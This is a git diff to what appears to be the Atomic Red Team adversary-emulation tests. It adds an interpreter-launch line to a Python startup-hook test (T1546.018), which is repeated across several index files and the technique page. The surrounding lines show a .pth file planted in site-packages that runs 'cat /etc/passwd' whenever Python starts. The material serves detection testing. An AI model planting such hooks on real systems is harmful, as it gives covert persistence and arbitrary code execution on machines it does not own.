diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml index 9cea777d..dcae7ba9 100644 --- a/atomics/Indexes/index.yaml +++ b/atomics/Indexes/index.yaml @@ -46391,6 +46391,7 @@ privilege-escalation: $PYTHON_EXE -m venv "$TEMPDIR/env" SITE_PACKAGES=$("$TEMPDIR/env/bin/python" -c "import site; print(site.getsitepackages()[0])") echo "import sys, os; (not hasattr(sys, 'hook_run')) and (setattr(sys, 'hook_run', True) or os.system('cat /etc/passwd'))" > "$SITE_PACKAGES/atomic_hook.pth" + "$TEMPDIR/env/bin/python" -c "print('Interpreter started')" cleanup_command: 'rm -rf $(cat /tmp/atomic_python_hook_path.txt) && rm -f /tmp/atomic_python_hook_path.txt @@ -71989,6 +71990,7 @@ persistence: $PYTHON_EXE -m venv "$TEMPDIR/env" SITE_PACKAGES=$("$TEMPDIR/env/bin/python" -c "import site; print(site.getsitepackages()[0])") echo "import sys, os; (not hasattr(sys, 'hook_run')) and (setattr(sys, 'hook_run', True) or os.system('cat /etc/passwd'))" > "$SITE_PACKAGES/atomic_hook.pth" + "$TEMPDIR/env/bin/python" -c "print('Interpreter started')" cleanup_command: 'rm -rf $(cat /tmp/atomic_python_hook_path.txt) && rm -f /tmp/atomic_python_hook_path.txt diff --git a/atomics/Indexes/linux-index.yaml b/atomics/Indexes/linux-index.yaml index 29b0393d..ae35de8d 100644 --- a/atomics/Indexes/linux-index.yaml +++ b/atomics/Indexes/linux-index.yaml @@ -25001,6 +25001,7 @@ privilege-escalation: $PYTHON_EXE -m venv "$TEMPDIR/env" SITE_PACKAGES=$("$TEMPDIR/env/bin/python" -c "import site; print(site.getsitepackages()[0])") echo "import sys, os; (not hasattr(sys, 'hook_run')) and (setattr(sys, 'hook_run', True) or os.system('cat /etc/passwd'))" > "$SITE_PACKAGES/atomic_hook.pth" + "$TEMPDIR/env/bin/python" -c "print('Interpreter started')" cleanup_command: 'rm -rf $(cat /tmp/atomic_python_hook_path.txt) && rm -f /tmp/atomic_python_hook_path.txt @@ -38676,6 +38677,7 @@ persistence: $PYTHON_EXE -m venv "$TEMPDIR/env" SITE_PACKAGES=$("$TEMPDIR/env/bin/python" -c "import site; print(site.getsitepackages()[0])") echo "import sys, os; (not hasattr(sys, 'hook_run')) and (setattr(sys, 'hook_run', True) or os.system('cat /etc/passwd'))" > "$SITE_PACKAGES/atomic_hook.pth" + "$TEMPDIR/env/bin/python" -c "print('Interpreter started')" cleanup_command: 'rm -rf $(cat /tmp/atomic_python_hook_path.txt) && rm -f /tmp/atomic_python_hook_path.txt diff --git a/atomics/T1546.018/T1546.018.md b/atomics/T1546.018/T1546.018.md index 2bab616b..44dfcfc0 100644 --- a/atomics/T1546.018/T1546.018.md +++ b/atomics/T1546.018/T1546.018.md @@ -110,6 +110,7 @@ echo "$TEMPDIR" > /tmp/atomic_python_hook_path.txt $PYTHON_EXE -m venv "$TEMPDIR/env" SITE_PACKAGES=$("$TEMPDIR/env/bin/python" -c "import site; print(site.getsitepackages()[0])") echo "import sys, os; (not hasattr(sys, 'hook_run')) and (setattr(sys, 'hook_run', True) or os.system('cat /etc/passwd'))" > "$SITE_PACKAGES/atomic_hook.pth" +"$TEMPDIR/env/bin/python" -c "print('Interpreter started')" ``` #### Cleanup Commands: